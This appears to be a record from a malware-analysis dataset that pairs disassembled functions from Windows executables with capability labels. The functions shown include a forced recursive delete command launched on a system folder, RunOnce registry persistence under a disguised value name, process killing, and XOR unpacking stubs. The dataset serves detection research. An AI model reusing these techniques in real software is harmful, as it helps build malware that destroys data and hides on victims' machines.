joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4011c7
Capabilities:
Enumerate process modules
Terminate process

Disassembly:
jmp 0x404100
mov eax, 0x1210
call fcn.0040c810
push esi
push edi
xor esi, esi
mov ecx, 0x3ff
xor eax, eax
lea edi, [esp + 0x21c]
mov dword [esp + 0x218], esi
mov dword [esp + 0xc], esi
rep stosd dword es:[edi], eax
lea eax, [esp + 0xc]
lea ecx, [esp + 0x218]
push eax
push 0x1000
push ecx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
je 0x4041dd
mov eax, dword [esp + 0xc]
shr eax, 2
je 0x4041dd
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea ebx, [esp + 0x220]
mov dword [esp + 0x10], eax
jmp 0x40416c
xor esi, esi
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x1a]
mov word [esp + 0x18], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [ebx]
lea edx, [esp + 0x18]
push 0x104
push edx
push eax
call fcn.004010c3
add esp, 0xc
test eax, eax
je 0x4041cd
lea ecx, [esp + 0x18]
push ecx
call fcn.004010eb
add esp, 4
test eax, eax
je 0x4041cd
mov edx, dword [ebx]
push edx
push esi
push 0x11
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4041cd
push 0
push esi
call ebp
push 0
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
add ebx, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x40416a
pop ebp
pop ebx
pop edi
pop esi
add esp, 0x1210
ret

Function at 0x4011d1
Capabilities:
Create process on windows
Get common file path
Get startup folder

Disassembly:
jmp 0x402d20
mov eax, 0x1f40
call fcn.0040c810
push esi
push edi
mov ecx, 0xb
mov esi, str.CMD__C_DEL__F__S__Q__
lea edi, [esp + 8]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x3dd
lea edi, [esp + 0x34]
rep stosd dword es:[edi], eax
mov ecx, 0x3e7
lea edi, [esp + 0xfaa]
mov word [esp + 0xfa8], ax
push 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0xfac]
push 0x18
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov esi, dword [sym.imp.MSVCRT.dll_wcscat]
lea ecx, [esp + 0xfa8]
lea edx, [esp + 8]
push ecx
push edx
call esi
lea eax, [esp + 0x10]
push str..__
push eax
call esi
add esp, 0x10
lea ecx, [esp + 8]
push 0
push 0
push ecx
push 0x4106ec
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
pop edi
pop esi
add esp, 0x1f40
ret
Function at 0x4011f4
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
jmp 0x402df0
sub esp, 0x418
lea eax, [esp + 4]
lea ecx, [esp]
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
push 0x80000002
mov dword [esp + 0x28], 2
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x402edc
push esi
push edi
mov ecx, 0x81
lea edi, [esp + 0x12]
mov word [esp + 0x10], ax
mov word [esp + 0x218], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x21a]
lea edx, [esp + 0x218]
rep stosd dword es:[edi], eax
push 0x104
push edx
push 0
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x10]
push str.cmd__c__
push eax
call dword [sym.imp.MSVCRT.dll_wcscpy]
mov esi, dword [sym.imp.MSVCRT.dll_wcscat]
lea ecx, [esp + 0x220]
lea edx, [esp + 0x18]
push ecx
push edx
call esi
lea eax, [esp + 0x20]
push str.____zxcv
push eax
call esi
lea ecx, [esp + 0x28]
push ecx
call dword [sym.imp.MSVCRT.dll_wcslen]
mov ecx, dword [esp + 0x24]
add esp, 0x1c
lea edx, [eax + eax + 2]
lea eax, [esp + 0x10]
push edx
push eax
push 1
push 0
push str.SearchFilterHost
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
add esp, 0x418
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x3ff94909
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
je 0x4300d2
nop
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x167026bb
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x409840
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov eax, dword [0x40e300]
cmp ebx, eax
jae 0x40986d
mov eax, ebx
and eax, 0x1f
mov edx, ebx
sar edx, 5
mov edx, dword [edx*4 + 0x40e304]
test byte [edx + eax*8 + 4], 1
jne 0x40987f
mov dword [0x40d334], 9
or eax, 0xffffffff
jmp 0x40999c
push 1
push 0
push ebx
call fcn.00408af0
add esp, 0xc
mov esi, eax
cmp eax, 0xffffffff
je 0x4098a7
push 2
push 0
push ebx
call fcn.00408af0
add esp, 0xc
mov edi, eax
cmp eax, 0xffffffff
jne 0x4098af
or eax, 0xffffffff
jmp 0x40999c
mov eax, dword [ebp + 0xc]
neg edi
add edi, eax
jle 0x409941
push 0x1000
push 1
call fcn.00409e10
add esp, 8
mov dword [ebp - 4], eax
test eax, eax
je 0x40993b
push 0x8000
push ebx
call fcn.00409e70
add esp, 8
mov dword [ebp - 8], eax
mov eax, 0x1000
cmp edi, 0x1000
jge 0x4098f2
mov eax, edi
mov edx, eax
push edx
mov eax, dword [ebp - 4]
push eax
push ebx
call fcn.004074e0
add esp, 0xc
mov dword [ebp + 0xc], eax
cmp eax, 0xffffffff
jne 0x409910
or dword [ebp - 0xc], 0xffffffff
jmp 0x409922
mov eax, edi
sub eax, dword [ebp + 0xc]
mov edi, eax
mov dword [ebp - 0xc], 0
test eax, eax
jg 0x4098e3
mov eax, dword [ebp - 8]
push eax
push ebx
call fcn.00409e70
add esp, 8
mov eax, dword [ebp - 4]
push eax
call fcn.004040b0
pop ecx
jmp 0x40998d
or dword [ebp - 0xc], 0xffffffff
jmp 0x40998d
mov dword [ebp - 0xc], 0
test edi, edi
jge 0x40998d
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00408af0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x409966
or dword [ebp - 0xc], 0xffffffff
jmp 0x40998d
push ebx
call fcn.00407980
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [ebp - 0xc], 0
test eax, eax
jne 0x40998d
mov dword [0x40d334], 0xd
or dword [ebp - 0xc], 0xffffffff
push 0
push esi
push ebx
call fcn.00408af0
add esp, 0xc
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x43b64c
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov ebx, 0x43b3c1
inc esi
call fcn.0043b67d
add ecx, 0x5a46d3cf
xor dword [eax], ebx
dec esi
inc ecx
inc eax
sub ecx, 0xcc4a5b81
mov esi, ecx
cmp eax, edx
jne fcn.0043b64c
add ecx, 0xf27d88b2
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403ac5
sub eax, 0x403a6b
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x42e030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x42e01e
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x419410
Capabilities:
Get disk information

Disassembly:
sub esp, 8
mov eax, dword [0x4d1030]
mov edx, dword [0x4d1034]
mov dword [esp + 4], 0
push 0x4d1064
lea ecx, [eax + eax]
or ecx, edx
mov dword [esp + 4], ecx
fild qword [esp + 4]
fadd qword [0x4d1058]
fstp qword [0x4d1058]
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [0x4d4acc], eax
add esp, 8
ret

Function at 0x44987b
Capabilities:
Encode data using xor

Disassembly:
ret 0x6663
in eax, dx
sub bh, dh
inc eax
adc edi, dword [eax]
mov eax, dword [0x3ff3f46a]
inc esp
sub bh, ah
adc eax, 0xe24d914a
jo 0x449837
inc ecx
xor dword [edi], ecx
loop 0x449890
in al, dx
mov cs, word [eax + 0x6f]
pop ebx
adc ebp, dword [edi + 0x477121f0]

Function at 0x4c6ebd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4d1380
cmp edx, dword [eax]
je 0x4c6edf
add eax, 8
inc ecx
cmp eax, 0x4d1410
jl 0x4c6ed0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4d1380]
jne 0x4c700d
mov eax, dword [0x4d6db0]
cmp eax, 1
je 0x4c6fe7
test eax, eax
jne 0x4c6f10
cmp dword [0x4d12ac], 1
je 0x4c6fe7
cmp edx, 0xfc
je 0x4c700d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4c6f47
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004c78a0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004c7d30
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4c6f8a
lea eax, [ebp - 0x1a4]
push eax
call fcn.004c7d30
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4cce24
push edi
call fcn.004c9c00
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004c78a0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004c78b0
lea eax, [ebp - 0xa0]
push 0x4cce04
push eax
call fcn.004c78b0
push dword [esi + 0x4d1384]
lea eax, [ebp - 0xa0]
push eax
call fcn.004c78b0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004c9b74
add esp, 0x2c
pop edi
jmp 0x4c700d
lea eax, [ebp + 8]
lea esi, [esi + 0x4d1384]
push 0
push eax
push dword [esi]
call fcn.004c7d30
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
jmp 0x4338df
push 0x14
push 0x44e350
call fcn.00432d60
push 1
call fcn.004334c5
pop ecx
test al, al
jne 0x433796
push 7
call fcn.00433f11
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.00433490
mov byte [ebp - 0x24], al
mov eax, dword [0x456c54]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x43378f
test eax, eax
jne 0x433800
mov dword [0x456c54], ecx
push 0x443308
push 0x4432f0
call fcn.0043a578
pop ecx
pop ecx
test eax, eax
je 0x4337e3
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x4338d9
push 0x4432ec
push 0x443284
call fcn.0043a51c
pop ecx
pop ecx
mov dword [0x456c54], 2
jmp 0x433805
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.0043361f
pop ecx
call fcn.004341bb
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x433835
push esi
call fcn.00433595
pop ecx
test al, al
je 0x433835
push edi
push 2
push edi
mov esi, dword [esi]
mov ecx, esi
call fcn.00433c67
call esi
call fcn.004341c1
mov esi, eax
cmp dword [esi], edi
je 0x433853
push esi
call fcn.00433595
pop ecx
test al, al
je 0x433853
push dword [esi]
call fcn.004399b9
pop ecx
call fcn.0043402c
movzx eax, ax
push eax
call fcn.0043a4c9
push eax
push edi
push 0x400000
call main
mov esi, eax
call fcn.004398c8
test al, al
jne 0x43387e
push esi
call fcn.004399f1
test bl, bl
jne 0x433887
call fcn.00439994
push edi
push 1
call fcn.0043363c
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x4338d9
call fcn.00432da6
ret
call fcn.004340b4
jmp 0x433777
Function at 0x402025
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
shr edi, 2
xor ebx, ebx
mov eax, edi
mov dword [ebp - 4], 1
shr eax, 1
mov ecx, ebx
add eax, 3
mov dword [esi], eax
add esi, 0x10
test edi, edi
je 0x40205c
mov eax, dword [edx]
lea edx, [edx + 4]
mov dword [esi + ecx*4], eax
inc ecx
cmp ecx, edi
jb 0x40204f
mov edx, dword [esi + edi*4 - 4]
imul eax, edi, 0xc
add eax, 0x70
add eax, esi
mov dword [ebp + 8], eax
test ebx, ebx
jne 0x4020ca
movzx eax, dl
mov ebx, dword [ebp - 4]
push 0x1b
movzx ecx, byte [eax + str.cw]
mov eax, edx
shr eax, 0x18
shl ecx, 8
movzx eax, byte [eax + str.cw]
or ecx, eax
mov eax, edx
shr eax, 0x10
movzx eax, al
shr edx, 8
shl ecx, 8
movzx eax, byte [eax + str.cw]
or ecx, eax
movzx eax, dl
shl ecx, 8
movzx edx, byte [eax + str.cw]
xor edx, ebx
add ebx, ebx
or edx, ecx
test ebx, 0x100
pop eax
cmovne ebx, eax
mov dword [ebp - 4], ebx
mov ebx, edi
jmp 0x402117
cmp ebx, 4
jne 0x40211a
cmp edi, 6
jbe 0x40211a
mov eax, edx
shr eax, 0x10
movzx eax, al
movzx ecx, byte [eax + str.cw]
mov eax, edx
shr eax, 0x18
movzx eax, byte [eax + str.cw]
shl eax, 8
or ecx, eax
mov eax, edx
shr eax, 8
movzx eax, al
shl ecx, 8
movzx eax, byte [eax + str.cw]
or ecx, eax
movzx eax, dl
shl ecx, 8
movzx edx, byte [eax + str.cw]
or edx, ecx
mov eax, dword [ebp + 8]
xor edx, dword [esi]
dec ebx
mov dword [esi + edi*4], edx
add esi, 4
cmp esi, eax
jne 0x40206b
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x402df3
Capabilities:
Check os version
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d4
mov eax, dword [0x450094]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp ax, 6
je 0x402e3c
push str.SetDefaultDllDirectories
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x402e3c
push 0xc00
call eax
test eax, eax
jne 0x402ed7
push 0x106
lea eax, [ebp - 0x2d4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x402ed7
cmp eax, 0x104
ja 0x402ed7
push 0x5c
pop ecx
cmp word [ebp + eax*2 - 0x2d6], cx
je 0x402e73
mov word [ebp + eax*2 - 0x2d4], cx
inc eax
cmp byte [str.userenv], 0
push esi
mov esi, str.userenv
je 0x402ed6
push ebx
push edi
lea edi, [ebp - 0x2d4]
push 0x6c
lea edi, [edi + eax*2]
pop ebx
mov ecx, edi
jmp 0x402e9d
movzx eax, al
mov word [ecx], ax
add ecx, 2
mov al, byte [esi]
inc esi
test al, al
jne 0x402e94
push 0x2e
pop eax
push 0x64
mov word [ecx], ax
pop eax
mov word [ecx + 2], ax
xor eax, eax
push 8
push eax
mov word [ecx + 8], ax
lea eax, [ebp - 0x2d4]
push eax
mov word [ecx + 4], bx
mov word [ecx + 6], bx
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
cmp byte [esi], 0
jne 0x402e90
pop edi
pop ebx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00432ce4
mov esp, ebp
pop ebp
ret
Function at 0x407a12
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
xor esi, esi
push eax
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
push esi
call fcn.0043919e
mov ecx, dword [ebp + 8]
add esp, 0x18
mov dword [ecx], eax
test eax, eax
jne 0x407a3e
call fcn.00407924
mov esi, eax
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x409b67
Capabilities:
Create directory

Disassembly:
push 0x44
mov eax, 0x441240
call fcn.00432f9f
cmp byte [0x456910], 0
mov edi, dword [ebp + 8]
jne 0x409ba7
push edi
lea eax, [ebp - 0x18]
push eax
call fcn.00408b08
xor ebx, ebx
push ebx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push dword [ebp - 0x18]
mov esi, eax
call fcn.00432f55
pop ecx
test esi, esi
je 0x409bb5
mov al, 1
jmp 0x409bfb
xor ebx, ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jmp 0x409ba1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x409bc6
xor al, al
jmp 0x409bfb
lea ecx, [ebp - 0x50]
call fcn.0040a428
lea ecx, [ebp - 0x28]
call fcn.00407e94
push ebx
push edi
lea ecx, [ebp - 0x50]
mov dword [ebp - 4], ebx
call fcn.0040a644
test al, al
je 0x409bf0
mov ebx, dword [ebp - 0x30]
shr ebx, 4
and bl, 1
push dword [ebp - 0x28]
call fcn.00432f55
pop ecx
mov al, bl
call fcn.00432f68
ret 4

Function at 0x409c03
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x456910], 0
jne 0x409c3d
push esi
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.00408b08
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.00432f55
pop ecx
test esi, esi
pop esi
je 0x409c4c
mov al, 1
jmp 0x409c4e
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jmp 0x409c37
xor al, al
mov esp, ebp
pop ebp
ret 4

Function at 0x409dde
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [ebp + 8]
push esi
call fcn.0040ac63
cmp eax, 0xffffffff
je 0x409e0b
mov ecx, eax
and cl, 0x11
cmp cl, 1
jne 0x409e0b
and eax, 0xfffffffe
push eax
push esi
call fcn.0040a37f
test al, al
je 0x409e43
cmp byte [0x456910], 0
push esi
jne 0x409e39
lea eax, [ebp - 0xc]
push eax
call fcn.00408b08
push dword [eax]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.00432f55
pop ecx
test esi, esi
je 0x409e43
mov al, 1
jmp 0x409e45
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jmp 0x409e33
xor al, al
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x40a0c0
Capabilities:
Delete directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x456910], 0
jne 0x40a0f8
push esi
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.00408b08
push dword [eax]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.00432f55
pop ecx
test esi, esi
pop esi
je 0x40a105
mov al, 1
jmp 0x40a107
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jmp 0x40a0f2
xor al, al
mov esp, ebp
pop ebp
ret 4
Function at 0x40a2d3
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x456910], 0
jne 0x40a30a
push esi
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.00408b08
push dword [eax]
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.00432f55
test esi, esi
pop ecx
setne al
pop esi
jmp 0x40a319
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
neg eax
sbb eax, eax
neg eax
mov esp, ebp
pop ebp
ret 4

Function at 0x40a37f
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x456910], 0
jne 0x40a3ba
push esi
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.00408b08
push dword [ebp + 0xc]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.00432f55
pop ecx
test esi, esi
pop esi
je 0x40a3ca
mov al, 1
jmp 0x40a3cc
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jmp 0x40a3b4
xor al, al
mov esp, ebp
pop ebp
ret 8

Function at 0x40ac63
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x456910], 0
jne 0x40ac97
push esi
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.00408b08
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.00432f55
pop ecx
mov eax, esi
pop esi
jmp 0x40acaa
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, eax
mov eax, ecx
mov esp, ebp
pop ebp
ret 4

Function at 0x40ae75
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push esi
push eax
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40ae9f
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x40ae9f
xor al, al
jmp 0x40aeb3
mov eax, dword [ebp + 8]
xor ecx, ecx
mov edx, dword [ebp - 4]
add ecx, esi
adc edx, 0
mov dword [eax], ecx
mov dword [eax + 4], edx
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x4185db
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x442132
mov eax, dword fs:[0]
push eax
push esi
mov eax, dword [0x450094]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
lea ecx, [esi + 0xa8]
call fcn.0041868a
lea ecx, [esi + 0x78]
call fcn.0041868a
push dword [esi + 0x30]
call fcn.00432f55
push dword [esi + 0x24]
call fcn.00432f55
push dword [esi + 0x18]
call fcn.00432f55
add esp, 0xc
and dword [ebp - 4], 0
mov ecx, dword [esi + 0xc]
test ecx, ecx
je 0x41863f
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [esi + 8]
mov dword [ebp - 4], 1
test ecx, ecx
je 0x418653
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [esi + 4]
mov dword [ebp - 4], 2
test ecx, ecx
je 0x418667
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [esi]
mov dword [ebp - 4], 3
test ecx, ecx
je 0x41867a
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x41aeb9
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x441bad
mov eax, dword fs:[0]
push eax
push esi
mov eax, dword [0x450094]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
call fcn.0041a02e
lea ecx, [esi + 0x30]
call fcn.0041868a
push dword [esi + 0x24]
call fcn.00432f55
pop ecx
lea ecx, [esi + 0xc]
call fcn.00407a69
mov ecx, esi
call fcn.0041ae7f
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x41b542
Capabilities:
Hide graphical window

Disassembly:
push 0xc
mov eax, 0x44286d
call fcn.00432f9f
mov esi, ecx
push 0
push dword [ebp + 0xc]
lea ecx, [esi + 0x68]
push dword [ebp + 8]
call fcn.0041b0b2
push 0xce4
lea eax, [ebp - 0x18]
push eax
call fcn.0041a13a
push dword [eax]
and dword [ebp - 4], 0
push dword [esi + 0x6c]
call fcn.0040bed2
push dword [ebp - 0x18]
call fcn.00432f55
pop ecx
push 1
push dword [esi + 0x6c]
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
call fcn.00432f68
ret 8
Function at 0x4318ea
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x450094]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x20c]
push esi
push edi
mov edi, dword [ebp + 0xc]
xor esi, esi
push 0x208
push esi
push eax
call fcn.004348d0
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push 0x80
push 3
push esi
push 1
push SysReAllocStringLen
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x431986
push edi
push esi
call fcn.00431d48
push dword [edi]
and dword [ebp - 0x210], 0
call fcn.00432f4c
pop ecx
push 0
lea ecx, [ebp - 0x210]
mov dword [ebx], eax
push ecx
push dword [edi]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00432ce4
mov esp, ebp
pop ebp
ret 8

Function at 0x431d48
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push esi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x431d73
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x431d73
xor al, al
jmp 0x431d87
mov eax, dword [ebp + 0xc]
xor ecx, ecx
mov edx, dword [ebp - 4]
add ecx, esi
adc edx, 0
mov dword [eax], ecx
mov dword [eax + 4], edx
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret 8